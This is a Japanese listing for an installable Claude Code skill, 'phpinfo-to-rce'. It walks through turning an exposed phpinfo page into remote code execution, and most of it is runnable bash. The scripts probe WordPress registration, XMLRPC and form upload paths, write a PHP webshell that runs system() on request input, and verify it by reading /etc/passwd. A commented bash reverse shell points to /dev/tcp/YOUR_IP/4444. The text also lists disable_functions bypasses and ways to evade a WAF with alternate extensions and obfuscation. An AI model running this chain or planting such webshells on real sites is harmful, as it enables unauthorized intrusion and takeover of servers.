phpinfo-to-rce について
公開された PHPInfo ページを分析し、別のコード実行経路に必要な条件を評価するセキュリティテスト用スキルです。設定とアップロード経路を確認し、ページの露出だけで RCE が成立するとは判断しません。
主な機能
- 01実際の PHPInfo ページを確認
- 02PHP の実行制限を調査
- 03関連する設定値を確認
- 04アップロード経路を調査
- 05コード実行の前提条件を評価
活用シーン
- 01公開された info.php ページのトリアージ
- 02アップロードテストの必要性を評価
- 03実行経路の調査で設定証拠を記録
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill phpinfo-to-rceインストール後、Claude Code で/phpinfo-to-rceを入力して読み込まれたか確認します。
詳細
PHPInfo → RCE チェーンスキル
公開されている phpinfo() ページを評価し、設定情報の漏えいと、別の実行経路に必要な前提条件を確認します。有効なプロセス関数があっても、承認されたコード実行またはファイル実行のプリミティブがなければ RCE は発生しません。
使用するタイミング
source-leak-huntが、info.phpまたはphpinfo.phpが公開されているターゲットを検出した場合。- アップロードの攻撃ベクトルに時間をかける前に、RCE が可能かどうかを確認する必要がある場合。
- コード実行を必要とする攻撃チェーンを構築する場合。
- ターゲットにファイルアップロード経路(オープン登録 + XMLRPC、問い合わせフォーム、プロフィール画像など)がある場合。
前提条件
- curl を使用できる
terminal。 - 公開された phpinfo ページを確認済みであること(HTTP 200、「PHP Version」を含む)。
- RCE の場合:同じホスト上にファイルアップロードの攻撃ベクトルがあること(認証情報を使用する XMLRPC、オープン登録、問い合わせフォームなど)。
実行方法
# Step 1: Fetch phpinfo and check for exec restrictions
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/info.php" | grep -i "disable_functions"
# Step 2: If ONLY pcntl_* is disabled, all exec functions are available
# Step 3: Find upload vector and deliver webshell
クイックリファレンス
| 確認項目 | 確認する内容 | 意味 |
|---|---|---|
disable_functions | pcntl_alarm,pcntl_fork,... のみ | すべての exec 関数が使用可能 — RCE の可能性あり |
disable_functions | exec,system,passthru,shell_exec,popen,proc_open | Exec がブロックされている — 回避策が必要 |
allow_url_fopen | On | リモートファイルインクルージョンが可能 |
allow_url_include | On | RFI が直接可能 |
open_basedir | 未設定、または /var/www:/tmp | 広範なファイルアクセスが可能 |
display_errors | On | エラーベースの情報漏えい |
DOCUMENT_ROOT | /var/www/html またはカスタム値 | Web シェルの配置場所を把握できる |
SERVER_ADMIN | メールアドレス | ソーシャルエンジニアリングの連絡先 |
_SERVER["REMOTE_ADDR"] | YOUR IP が表示される(プロキシ経由の場合) | WAF/CDN の検出 |
| PHP バージョン | < 7.4 | EOL — 未修正の CVE がさらに多い |
手順
ステップ 1 — PHPInfo を取得して分析する
TARGET="$1"
# Full phpinfo dump
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/info.php" > /tmp/phpinfo_$TARGET.html
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/phpinfo.php" >> /tmp/phpinfo_$TARGET.html 2>/dev/null
# Check if phpinfo is real (not SPA catch-all)
if ! grep -q "PHP Version" /tmp/phpinfo_$TARGET.html; then
echo "[-] Not a real phpinfo page"
exit 1
fi
echo "[+] PHPInfo confirmed on $TARGET"
echo ""
# Extract critical directives
echo "=== PHP Version ==="
grep -Eo 'PHP Version <.*?>[^<]+' /tmp/phpinfo_$TARGET.html | head -1
echo ""
echo "=== disable_functions ==="
DISABLED=$(grep -A1 'disable_functions' /tmp/phpinfo_$TARGET.html | grep -Eo '>(local|master).*?<' | sed 's/[<>]//g')
echo "$DISABLED"
echo ""
echo "=== Exec Functions Available? ==="
if echo "$DISABLED" | grep -qE 'exec|system|passthru|shell_exec|popen|proc_open'; then
echo "[-] Exec functions ARE disabled — RCE blocked via standard methods"
else
echo "[+] Exec functions NOT disabled — RCE POSSIBLE!"
echo "[+] Available: exec, system, passthru, shell_exec, popen, proc_open"
fi
echo ""
echo "=== Other Critical Settings ==="
grep -E '(allow_url_fopen|allow_url_include|open_basedir|display_errors|DOCUMENT_ROOT|SERVER_ADMIN|upload_max_filesize|post_max_size)' /tmp/phpinfo_$TARGET.html | \
sed 's/<[^>]*>//g' | sed 's/\s\+/ /g' | sort -u
ステップ 2 — RCE の実現可能性を評価する
# Decision matrix:
# 1. Exec functions NOT disabled → RCE possible with ANY upload vector
# 2. Exec functions disabled → Check for bypass techniques:
# - LD_PRELOAD bypass (if putenv() not disabled)
# - FFI bypass (PHP 7.4+ with FFI enabled)
# - proc_open bypass (sometimes missed in disable_functions)
# - mail() + sendmail_path abuse
# Quick check for LD_PRELOAD bypass viability
if ! echo "$DISABLED" | grep -q "putenv"; then
echo "[+] putenv() available — LD_PRELOAD bypass possible"
fi
# Quick check for FFI bypass
if grep -q "FFI" /tmp/phpinfo_$TARGET.html && ! echo "$DISABLED" | grep -q "FFI"; then
echo "[+] FFI enabled — FFI bypass possible (PHP 7.4+)"
fi
ステップ 3 — アップロード経路を見つける
TARGET="$1"
echo "[*] Searching for upload vectors on $TARGET..."
# Check WordPress open registration
REG=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-login.php?action=register" | grep -o 'user_login')
[[ -n "$REG" ]] && echo "[+] Open WP registration — can upload via XMLRPC wp.uploadFile"
# Check XMLRPC with wp.uploadFile
XMLRPC_METHODS=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| grep -o 'wp.uploadFile')
[[ -n "$XMLRPC_METHODS" ]] && echo "[+] XMLRPC wp.uploadFile available"
# Check for contact form file upload
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/contact" | grep -iE 'type=.file|enctype=.multipart' && \
echo "[+] Contact form with file upload"
# Check Elementor upload (if plugin present)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementor/v1/globals" | grep -q "elementor" && \
echo "[+] Elementor detected — check for upload endpoints"
# Check Gravity Forms
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | grep -q "id" && \
echo "[+] Gravity Forms detected — check for file upload fields"
ステップ 4 — Web シェルを配置する
アップロード経路が見つかった場合(例:XMLRPC + オープン登録):
TARGET="$1"
# Generate simple PHP webshell
cat > /tmp/ws.php << 'EOF'
<?php
$c = $_REQUEST['c'];
if($c) { system($c); } else { echo ""; }
?>
EOF
# If XMLRPC wp.uploadFile is available (see xmlrpc-exploitation skill for full flow):
# 1. Register user via open registration
# 2. Upload webshell via XMLRPC
# 3. Access at /wp-content/uploads/YYYY/MM/ws.php?c=id
echo "[*] Webshell ready at /tmp/ws.php"
echo "[*] Use xmlrpc-exploitation skill for the full upload chain"
echo "[*] Or adapt to the specific upload vector found above"
ステップ 5 — RCE を検証する
TARGET="$1"
WEBSHELL_URL="$2" # e.g., https://TARGET/wp-content/uploads/2026/06/ws.php
# Test command execution
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=id"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=uname -a"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=cat /etc/passwd | head -5"
# Establish reverse shell (if outbound connections allowed)
# On your listener: nc -lvnp 4444
# curl -sk "$WEBSHELL_URL?c=bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4444 0>%261'"
注意点
- WAF の背後にある phpinfo: Cloudflare が phpinfo をキャッシュしたり、特定のパスをブロックしたりする場合があります。
/test.php、/php_info.php、/info.php?1を試してください。 - disable_functions の回避は複雑: LD_PRELOAD による回避では、ターゲットのアーキテクチャと libc に一致する .so ファイルをコンパイルする必要があります。FFI による回避には PHP 7.4 以降が必要で、
FFI::cdef()が disable_functions に含まれていないことも条件です。 - アップロード先の特定: WordPress はアップロードファイルを
/wp-content/uploads/YYYY/MM/に保存します。一部のホストではUPLOADS定数でこの場所が変更されています(phpinfo を確認してください)。 - WAF による Web シェルのブロック: ホストに mod_security または WAF がある場合、アクセス時に PHP Web シェルがブロックされることがあります。別の拡張子(.phtml、.php5、.pht)や難読化したペイロードを試してください。
検証
- PHPInfo が本物であること(SPA のキャッチオールではなく、「PHP Version」のテキストを含むこと)。
disable_functionsの分析で、少なくとも 1 つの exec 関数が使用可能だと確認できること。- アップロードした Web シェルが
idまたはwhoamiの出力を返し、コード実行を証明できること。 - phpinfo → disable_functions の分析 → アップロード経路 → Web シェル → RCE の完全なチェーンを記録すること。
コメント
Markdown 対応